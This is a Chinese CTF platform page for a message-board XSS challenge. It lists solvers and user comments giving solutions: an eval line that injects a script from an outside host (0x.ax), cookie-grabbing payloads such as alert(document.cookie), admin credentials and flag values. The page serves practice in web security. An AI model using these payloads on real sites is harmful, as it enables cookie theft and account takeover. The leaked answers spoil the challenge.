留言板WEB 未解决
分数:
10
金币:
3
题目作者:
harry
一 血:
꧁༺༽༾ཊ彪ཏ༿༼༻꧂
一血奖励:
5金币
解 决:
2961
提 示:
题目无需登录后台！需要xss平台接收flag
描 述:
http协议需要http协议的xss平台
评分(17)
解题动态
a1451753998 攻破了该题 2天前
3320981239 攻破了该题 3天前
zengzhijing 攻破了该题 5天前
没有绝对的安全系统 攻破了该题 5天前
DigitalLemon 攻破了该题 10天前
不吃鸭蛋 攻破了该题 10天前
flagshiwodie 攻破了该题 10天前
ww__ 攻破了该题 10天前
huihuiwudi 攻破了该题 11天前
huihuiwudi321 攻破了该题 11天前
hackerbugku 攻破了该题 13天前
李欣 攻破了该题 14天前
网络安全亮 攻破了该题 16天前
西红柿炒番茄 攻破了该题 16天前
yiwuxiaobawang 攻破了该题 17天前
xiayuan 攻破了该题 18天前
xky110 攻破了该题 18天前
dengsf2025 攻破了该题 18天前
huaxinxin 攻破了该题 18天前
评论
xcxy 2年前
举报
用御剑工具扫描不出文件目录，直接xss平台代码插入就行了，也不用变形，能够收到cookie : flag=flag%7B5b10e075f4319e7f628f6813ca4a1904%7D，这个是url编码，解码就行了。题目应该是改了，太简单了
32130262 2年前
举报
我用xss.pt生成的脚本，放入留言框里，换了很多格式。还使用F12 console 里输入javascript:eval('window.s=document.createElement("script");window.s.src="https://0x.ax/o0fK";document.body.appendChild(window.s)')，xss
Wjustice 2年前
举报
复盘一下，直接上工具得出后台路径，然后插入图片xss，导出flag，估计是改了题，以前应该是还有个dp.sql文件。。。。。
Amibaba 2年前
举报
/admin.php登录后台，账号admin 密码 011be4d65feac1a8，控制台打cookie，alert(document.cookie)
Cmy520CTF 2年前
举报
链接后面加 /admin.php回车 账号admin 密码 011be4d65feac1a8 然后点击login得到 flag=flag%7Bce56da59371f9eec3569e6feca58eeff%7D 转成 flag{ce56da59371f9eec3569e6feca58eeff}就是答案
嵌入式学的CTF 2年前
举报
题改了，不需要后台也扫不到后台，只有一个管理员且无法注入，只能灵活XSS，而且服务器很慢耐心等待，我一直以为没反应改了半天pd
sisa 2年前
举报
dirmap、dirsearch、dirb都扫不出sql文件，看wp直接访问db.sql得到是The requested URL was not found on this server.真不知你们是怎么知道密码的？
safeweb20 2年前
举报
这道题通过dirsearch.py 扫描网址找到sql账号数据之后登录admin账户，通过xss注入可以找到flag， 管理员密码是011be4d65feac1a8 账户是admin xss可以使用<script>alert(document.cookie);</script>
bigbox1 2年前
举报
这个题有问题,管理员密码是011be4d65feac1a8,作者把那个文件删了应该是,那个登录框不是sql注入
sshui 2年前
举报
nmd,改题了也不及时说明。凸(艹皿艹 )